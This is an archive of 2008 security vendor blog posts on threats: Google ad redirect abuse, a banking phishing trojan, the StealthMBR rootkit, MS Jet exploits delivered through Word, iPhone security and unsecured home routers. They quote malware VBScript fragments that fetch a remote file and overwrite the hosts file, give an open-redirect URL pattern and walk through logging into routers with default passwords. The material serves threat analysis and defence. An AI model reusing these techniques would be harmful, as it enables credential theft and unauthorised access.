Archive for March, 2008

Google Ads Abused to Serve Spam and Malware

Early this year we observed spammers using Google page ads in HTML-formatted emails to redirect users who click the spammed URL to the spammers’ sites.

http://www.google.com/pagead/iclk?sa=l&ai=MfeNYS
&num=123456&adurl=http://www.spammersite.com

At first we thought Google page ads were being used to conceal the actual URL and subvert traditional anti-spam detection techniques. However, it seems one can change the linked URL to point to any site of your choice–as no validation appears to be done on Google’s end.

Spammed Email using Google Ads

One can even point the Google page ad to executable files (malware authors have started doing this), and the link will redirect and download the malware just fine. It’s kind of ironic given than Google is very strict about the kind of file attachments one can upload/download via their Gmail service.

http://www.google.com/pagead/iclk?…adurl=http://download.nai.com/…/win_xdatbeta.exe

The preceding example downloads a McAfee signature file in executable format.

Google must be aware of this redirect abuse, and it’s hard to understand why they don’t prevent these redirects working for known bad file types or for spam and malware sites.

Phishing is Still Alive and Kicking

A few days ago McAfee Avert Labs came across yet another example of how effective and especially dangerous phishing can be. We received a sample in the form of an .exe file that when executed would start Internet Explorer and present the login page of a well-known Italian bank.

At first sight, for the inexperienced and security-unaware user, the Web site looked exactly like the real thing. There were no obvious signs of fraud as “only” the user name and password to get into the banking page were requested. Once these initial credentials were inserted, a second page requested a card number, the expiration date, and the CVV2/CVC2 number. After this, you guessed it, a simple message–”Wrong details, try again!”

What actually happened is that the sample creates the file finaltemp.vbs and runs it immediately via the Windows Script Interpreter, wscript.exe. The VBS script is immediately removed from the system. Here are some interesting snippets of the code embedded into the executable:

Set WshShell = WScript.CreateObject("WScript.Shell")
strURL = http://x.x.x.x/twiki/b.txt
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")

More code creates some objects used to write the contents of the file through HTTP requests using Microsoft.XmlHttp.

fileToCopy = fso.GetSpecialFolder(WindowsFolder).Path & "\system32\drivers\etc\hosts"

This will copy the content of the b.txt, seen above, to the host file–leading to compromised name resolution!

WshShell.Run "iexplore.exe"
Set aFile = fso.GetFile(strOutFile)
aFile.Delete

This will run Internet Explorer, opening the main page of the bank with what looks like the correct address for the bank in the browser’s address bar; however, this ultimately points to the bad IP set in the modified host file. At this stage the unaware user enters his or her information on the page, which gets sent to a remote location that is certainly not the secure bank environment. All of this happens silently–without any popping cmd shells, active objects complaints from IE, or any other suspicious activity.

If we look at a packet-sniffer trace, we can see the POST request made to the URL mentioned in the snippet above. It was registered through (no kidding!) Godaddy.com. Also we will see all the requests made to the IP written to the host file that was modified by the VBS script–including a POST containing the username, password, card number with the security code, and expiry date. (In this case you can see that the Avert Labls account with password “testing” is now officially owned.) ;-)

POST /index.php?MfcISAPICommand=ProcessCC&UsingSSL=1&login=AVERTLABS&
pass=TESTING HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://X.X.X.X/index.php?MfcISAPICommand=VerifyFPP&UsingSSL=1&login=&pass=
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
Host: poste.it
Content-Length: 165
Connection: Keep-Alive
Cache-Control: no-cache


Session=cvv2.gif&password=TESTING&ccnumber=6666666666666666&
month=10&year=10&
cvv=666&__EVENTTARGET=RicaricaCartaPPayPagamentoPPayEdit1%3AbtnContinua&__EVENTARGUMENT=HTTP/1.1 200 OK
Date: Fri, 14 Mar 2008 18:00:39 GMT
Server: Apache/2.2.3 (Debian) DAV/2 SVN/1.4.2 PHP/5.2.0-8
X-Powered-By: PHP/5.2.0-8
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=ISO-8859-1

It seems that phishing will remain a part of our daily lives. And what is most alarming is the ease with which someone could change a few lines of the scripts to redirect the user to whatever site that requires authentication and grab very sensitive information which could be use to steal money as well as any other type of information.

So far the Web site hosting the modifications required for the host file and the IP hosting the fake pages are still live and sending data, so you can imagine how much could be gathered in just a few days or even a few hours. The reverse DNS details for the IP appear to be forged. We have contacted the owner of the IP and the bank itself to investigate further and have the fake site shut down as soon as possible.
Visit.geocities.com and geo.yahoo.com were involved, as well, probably for tracking purposes.

Safe banking, folks!

Reported Zero-Day in CA Software

Here’s a quick post about a claimed zero-day vulnerability in CA BrightStor ARCserve Backup, software that provides backup functionality for Windows systems. Proof-of-concept exploit code for this vulnerability is public.

A specially crafted Web page could trigger a stack overflow in the AddColumn() method in the ListCtrl Active X Control. For an attack to occur, a user would have to be tricked into visiting a malicious Web site. The exploit writer states that he has successfully run his attack code against CA BrightStor ARCserve Backup r11.5, with Internet Explorer 6 running on Microsoft Windows XP SP2 (the Polish edition).

McAfee Avert Labs is analyzing the flaw. As an aside, our research database reveals that the last known vulnerability in CA BrightStor ARCserve Backup was disclosed on November 26, 2007: CVE-2007-5328. CA worked with the discloser to release a patch for the vulnerability on the same day.

StealthMBR Rootkit Enhances Its Capabilities

Yesterday we received new variants of the StealthMBR rootkit from the field. The basic strategy of overwriting the master boot record and hooking the IRP table of \\driver\disk to protect itself is still the same as we explained in our original StealthMBR blog. However, from the perspective of cleaning this threat, the rootkit has been modified to better protect itself from being removed.

A very common self-protection technique exhibited by various malware in user-land is to execute a “watcher” thread that continuously polls its various components, memory, and registry entries for changes by the user or any anti-virus products. StealthMBR has taken this technique into kernel space, where it executes watcher threads in the system processes’ context. StealthMBR’s thread continuously checks for any attempt to restore the original MBR or remove its memory protection hooks. If they are modified, it patches the MBR and hooks right back.

We have added generic detections for this threat as Generic Packed.g and StealthMBR Trojan. Just as with the last variant, we are currently working on an updated cleaning solution that can repair the threat within the DAT files, and won’t require fixing the MBR from the Microsoft Recovery Console.

In a follow-up blog we will discuss the inner workings of this variant–stay tuned!

Microsoft Jet Database Engine Attacked Through Word

A few weeks ago we blogged about a recent MS Access exploits being nothing new.  Well there is now something new.

On the heels of Symantec blogging about a new tandem Word document/Access database exploit; Microsoft released Security Advisory (950627).  As we stated before, Microsoft considers MDB files to be unsafe.  Accordingly, Microsoft email clients prevent users from attempting to double-click on MDB (Microsoft Access Database) files.  Up until recently attackers typically exploited MS Jet DB vulnerabilities through MDB files, and therefore Microsoft stuck to their “MDB files are unsafe” story.  Well that’s changed.

In several recent-yet limited-attacks, exploits were crafted to attack an MS Jet Database vulnerability through Word.  The Word docs are coded to reference Access database files regardless of extension (which allows attackers to circumvent content filters looking for specific email attachment extensions).

An attack scenario looks like this:

  1. A user receives an email message with 2 attachments (one of which is a Word document)
  2. The email client saves the attachments to the same directory
  3. The user opens the Word document, which in turn opens the Access database containing the exploit code

In another scenario the attackers have archived both the database and Word document in a ZIP file, but the principle is the same.

Microsoft states that Msjet40.dll versions greater than 4.0.9505.0 are not vulnerable, which means this issue was (silently) fixed for Windows Server 2003 SP2 and Windows Vista.

McAfee DAT files version 5256 (released March 20) detect all known Access exploits as Exploit-MSJet.

Exploring StealthMBR Defenses

As promised in my last post, we will discuss some interesting techniques used by StealthMBR and possible motives behind them. This new variant has implemented extensive protection technology at the kernel level, and looking at its layers of defenses it appears to be the job of organized and technical kernel code developer(s) who is/are probably making decent-albeit illegal-income from this. Although StealthMBR is inspired by techniques from prior projects like BootRoot, it is continuously evolving its defenses.

This variant of StealthMBR is unique among other kernel mode rootkits that we have seen to date; not only because it overwrites the MBR but also because of the number of self protection measures it is employing to prevent itself from being detected and removed once it gains the control of the system.

Self protection measures and motives:

1. Hooks IRP dispatch table of \\driver\Disk
Motive: This is one of the lowest level hooks in the kernel, created for IRP_MJ_READ and IRP_MJ_WRITE. These are created to deny read/write permission to any application that is trying to access the MBR.

2. Dummy hooks in IRP dispatch table of \\driver\Disk.
Motive: Other dummy hooks are created, probably to keep all the hooks in the same range, which may dupe some of the anti-rootkit tools that check if all the valid hooks are in the same device object range
.
3. Hooks IRP dispatch table of \\driver\CDRom
Motive: The IRP dispatch table pointers of both disk and cdrom point to same location, so this rootkit hooks the IRP table of CDRom and changes the pointers to the same location as that of the corresponding hooked dispatch routines of disk. If this table is not patched, some AV tools can compare the two pointers and raise a flag if a discrepancy is found. Also, it can be used to restore the original pointers in the IRP dispatch table of disk.

4. Patches classpnp.sys!ClassInitialize function
Motive: The ClassInitialize function is an exported function of the ClassPNP.sys driver, which has references to various pointer locations of the original IRP dispatch table [Figure 1]. An AV tool having the knowledge of this can compare the two pointers and raise a flag if a discrepancy is found. Also, it can be used to restore the original pointers in the IRP dispatch table of disk.

The addresses highlighted ( in red) in Figure 1 are the original addresses which will be patched by the rootkit.


Figure 1

5. Creates a “Watcher” thread
Motive: This is the plan ‘B’ of this malware or a failsafe method to prevent itself from being removed, even if the original pointers are known and somebody(AV) tries to restore its hooks (which is the necessary first step to write back the MBR). This thread continuously watches any attempt to restore the original IRP_MJ_READ/WRITE hooks. As soon as these hooks are modified, the thread does following four things in this order:

  • Restores the IRP_MJ_READ and IRP_MJ_WRITE dispatch routines to point to its own routine
  • Rewrites the MBR at sector 0
  • Rewrites the rootkit loader code and original MBR code at sector 60,  sector 61 and sector 62
  • Rewrites the whole rootkit module in the later sectors of disk

 

6. Direct disk sector write access
Motive: In almost a month, StealthMBR has improved its routine to write to the MBR. Instead of using User mode APIs to write into the MBR, it now uses a call to the IoBuildSynchronousFsdRequest API to write directly in various sectors of disk by using IRP_MJ_WRITE of \\driver\disk.The possible motive of this improvement is again to evade detection by various Intrusion detection tools. 

The following code [Figure 2] is the part of watcher thread, which checks if the value of IRP_MJ_READ/WRITE is the same as the value in the EDI register. If the value has changed it will perform steps a,b,c,d as explained in point 5 above. The following code is annotated to highlight the interesting information and is self-explanatory. It can be noted that there are three calls to the rootkit’s WriteToDisk function to restore various infections.


Figure 2. Annotated code of “watcher” thread of StealhMBR rootkit

What this means for McAfee’s customers
McAfee is detecting this threat generically with the 5256 DAT files as Generic Packed.g and StealthMBR. The in-memory hooks are also detected as StealthMBR!rootkit* in the latest beta dats and will be included in the 5258 DAT files. So make sure to update your DATs to remain protected from this ever stealthy rootkit. 

Conclusion:

Since the last variant we have seen quite a few improvements in this malware, and it looks like the malware authors will keep on modifying this code to challenge AV vendors in this arms race. We will keep monitoring these threats and keep you updated of their progress.

*Note: The memory rootkit detection and repair is only available with the following VirusScan products. Please upgrade to these products to be better protected against such stealth malware.

  • VirusScan Enterprise (Ver 8.5)
  • VirusScan Online (Ver 11.2 and above)

iPhone Applications and Security

The iPhone has generated a lot of curiosity in the hacker community. Last year when Apple released its iPhone, hundreds of hackers tried to break the iPhone software in multiple ways. Some of them succeeded in customizing the iPhone in the way they wanted. They changed their mobile service provider and deployed their own applications. Some hackers were able to break the iPhone by exploiting vulnerabilities in applications such as Safari.

Now Apple has released its official SDK to developers. By opening up the iPhone OS and publishing the SDK Apple looks forward to thousands of Mac developers developing iPhone applications. At the same time, Apple announced a lot of new features for enterprise customers.

It appears that Apple is carefully stepping forward to analyze and manage the security implications of opening up its platform for development. In the Leopard OS release Apple added security features such as sandboxing, code signing, etc. The same features are also used as the foundation for iPhone.

Let’s look at some of the security aspects of the iPhone’s application execution environment: Apple issues a certificate to the developer, who signs the iPhone application using this certificate. The iPhone OS then checks the authenticity and integrity of the application before installing and executing it. Each application runs in a sandboxed environment–with very limited access to the file system and other resources. The AppStore application on iPhone manages all third-party application deployments on the iPhone.

One application can interact with other applications using URLs. http://, https://, and feed:// are handled by Safari; mailto:// is handled by the Mail client; and itms:// is handled by iTunes. Third-party applications can declare their own urls (such as myapp://) to handle messages from other apps.

Each application is sandboxed to contain failures if it is compromised. However, an application’s access to a lot of other resources–such as network, phone, camera, address book, mail, and urls–is not controlled. Hackers may now focus on vulnerabilities in applications and also on the mechanisms provided to access iPhone resources.

Enterprise features such as Exchange Server support, and security features such as Cisco IPSec VPN, WPA2/802.1, etc. may encourage wider deployment of the iPhone in enterprises; and thus open up more possibilities for attackers.

Within four days of Apple’s announcement, more than 100,000 SDK downloads indicate the enthusiasm of developers. Sun has announced Java support for the iPhone, and that may attract even more developers.

For now the SDK is still in beta, which gives Apple some time to fix security issues that hackers are going to discover during the next few months. This seems to be a very good strategy. We look forward to Apple’s next steps and the impact they will make on the domain of mobile device security.

More analysis on the MS Jet Exploits camouflaging as Microsoft Word files

Recently, we blogged about MS Access exploits are being targeted trough Microsoft Word. In this blog we dig deeper, to see the structure of the files used in this attack, and analyze how the payload is delivered.

In the following example, the threat arrived as 2 files with “.doc” extensions (xxx1.doc and xxx2.doc); however one of the files is actually a Microsoft Access database containing the MS Jet exploit.  The whole story is depicted in Figure 1.


Figure 1: The flow of the trojan installation process

When users open the MS Word file xxx1.doc, the MS Access file xxx2.doc is loaded through the data link properties. Then the shellcode in the xxx2.doc file runs (triggered by the MS Jet exploit in the same file) and decodes itself in typical fashion.  The shell code launches WinWord.exe to open the innocent Word file embedded in “xxx1.doc”.

While the shellcode opens the Word file, it also decodes the executable file embedded in xxx1.doc. The decoding includes the simple XOR with a mask of 0xFF, and to deobfuscate the first 8 bytes of MZ header which is masked with XOR mask 0xAF.

You may see the data link aspect of xxx1.doc by placing the xxx2.doc file in a different folder than xxx1.doc. When users open xxx1.doc, the “Data Link Properties” window appears.  The specified database name is a the path containing xxx2.doc and the password is empty.  Because of this data link, xxx2.doc is typically loaded silently.

The trojan installation techniques used in this threat are nothing special and can be seen in other exploit files; however the method to trick users in this attack, by using non-exploit OLE files as loaders of other exploit OLE files is something new. As we see from past attacks, we no longer can rely on file extensions. We should continuously be careful with all unknown OLE files and not open untrusted email attachments.

Secure Your Wireless Router

Wireless routers are very common in homes in China nowadays. Unfortunately, properly secured wireless routers are not. Many are still not configured with a network key. This creates a serious security problem.

To demonstrate, just from my home I can easily find a wireless router with no network key. Most of these routers provide a DHCP service, so my laptop can obtain an IP address and access the Internet using that router.

Having obtained an IP address, I run the command “ipconfig /all” to get the IP address of the gateway (router). Then I access that IP via HTTP using Internet Explorer. I get a prompt for a username and password. From this prompt, I learn that the router is manufactured by TP-Link. I easily find the default username and password for this router online. I try the defaults, and I am in luck.

I am now logged into the wireless router’s administration page. No advanced technology was needed. To a person with malicious intentions, the possibilities are great.

To test how prevalent this problem is, I use my mobile phone with WiFi capability and find many wireless routers around my home. Many are not secure, and many have the default admin username and password.

So secure your wireless router. Changing the default admin password and setting up wireless security just takes a minute, but it goes a long way in preventing a big security problem.

‘Targeted Attack’ Mania

One of my roles at McAfee Avert Labs is to take a step back from the day-to-day attacks, and look at the bigger picture. To review threat trends and forecast what’s to come. Some threats such as Web Feed Attacks and IM are more easily defined and quantified. Other threats are a little more abstract after you scratch the surface.

In recent years the infamous “targeted attack” has gained much media attention. We often heard about a “segment” of users being hit, such as Myspace or Facebook users. I recall snickering the first time I heard a report stating that “home users” were the most targeted of all. I suppose next we’ll hear that Internet users are the most targeted.

So what does the word targeted in targeted attack really mean? One could argue that anyone hit with an attack that was sent to him or her specifically (as in: the email message containing the virus was sent to your address) was a victim of a targeted attack, but that definition is way too broad, as the vast majority of all attacks would then be considered targeted. I pondered the definition of targeted attacks for a bit, trying to think of a simple yet concrete definition. I landed on the work discrimination. For me the key aspect of any targeted attack is that it must discriminate, otherwise the attack is either random, or one of opportunity.

Consider Tom, a man who walks into a grocery store, and stops by the tomatoes. He gets the impulse to pick up a few of the mushy ones and hurls them at shoppers. Was this a targeted attack? I’m sure the headlines would read “XYZ Mart Shoppers Targeted by Tomato Mad Man,” but were they really? Those hit were simply in the wrong place at the wrong time; casualties of a random attack. Tom did not discriminate; he aimed for whoever was in proximity (if he aimed at all). If there happened to be five grandmothers nearby, this would still not have been a grandmother-targeted attack.

To bring this back to computer security, spammers often use massive address lists during campaigns. When spammers want to reach as many addresses as possible, they cast a wide net, sending messages to each address on the list–no discrimination, no targeted attack.

Consider a scenario in which an attacker discovers a flaw in Facebook. He may exploit that flaw to reach as many users as possible. Again, “Facebook users” were not targeted here, as there was no discrimination. The Facebook bug simply provided an opportunity.

Here’s a real-world example of a targeted attack. Select U.S. government contractors were sent email messages that contained exploited PowerPoint documents that install a remote-access Trojan on victims’ systems. Here “select U.S. government contractors” were singled out; not “government contractors,” not “email users,” not “PowerPoint users,” and not “Microsoft” (maker of PowerPoint).

In my Facebook example one could argue that the Facebook company itself was targeted; someone had to discover and exploit a flaw in that scenario to get to the user base. However, in my targeted U.S. government contractors example, few would consider Microsoft the target of that attack. The PowerPoint vulnerability was simply the means to an end, providing an opportunity.

Let’s look at another type of attack.

Some publicized targeted attacks used personal information. Potential victims may receive an email message containing not only their names, but also places of business, and possibly their titles, addresses, or phone numbers. Does that make these attacks targeted? Not necessarily. Yes, these are context-aware or personalized attacks; but without discrimination, these should not be considered targeted.

Other attacks rely on applications typically used by a segment of the population, such as music or video players, or social-networking sites. Does this mean that segment is targeted? Those users may be at a greater risk of being attacked, but that does not make them targeted. Accordingly, malicious fake video codecs and the like do not necessarily target home users!

Why Target?
In an effort to keep this blog from getting too long, here’s a short list of why attackers might keep an attack targeted:

  • To keep a low profile for the malicious code (an effort to evade/delay malcode detection by flying under the radar)
  • To keep a low profile for the entity behind the attack (an effort to evade prosecution)
  • To minimize “casualties of war” (most attackers don’t really care if innocent bystanders get infected, but some small segment likely does).

Asking the questions why and how the XYZ attack was limited can help determine if the attack was indeed targeted.

What’s Really the Target?
Another litmus test when attempting to validate a targeted attack is to ask: What is really the target? If the answer is any and every username and password the attackers can get their hands on, then the attack is probably not targeted. We often hear about a bank being targeted in a massive phishing attack. Although such an attack may have been geared toward users of a single bank, one must ask Why? Imagine, how effective would a single phishing campaign be if a spammed email message listed dozens of banking sites and asked users to click the link for their banks? And if the attacker must limit the phishing messages to a single bank, one could consider this to be a process of elimination, and elimination does not equal discrimination.

I can appreciate the challenge the media face when writing the headline for an attack that affects only a segment of users. It’s just unfortunate that the term targeted is so overused that estimates of the problem can greatly vary.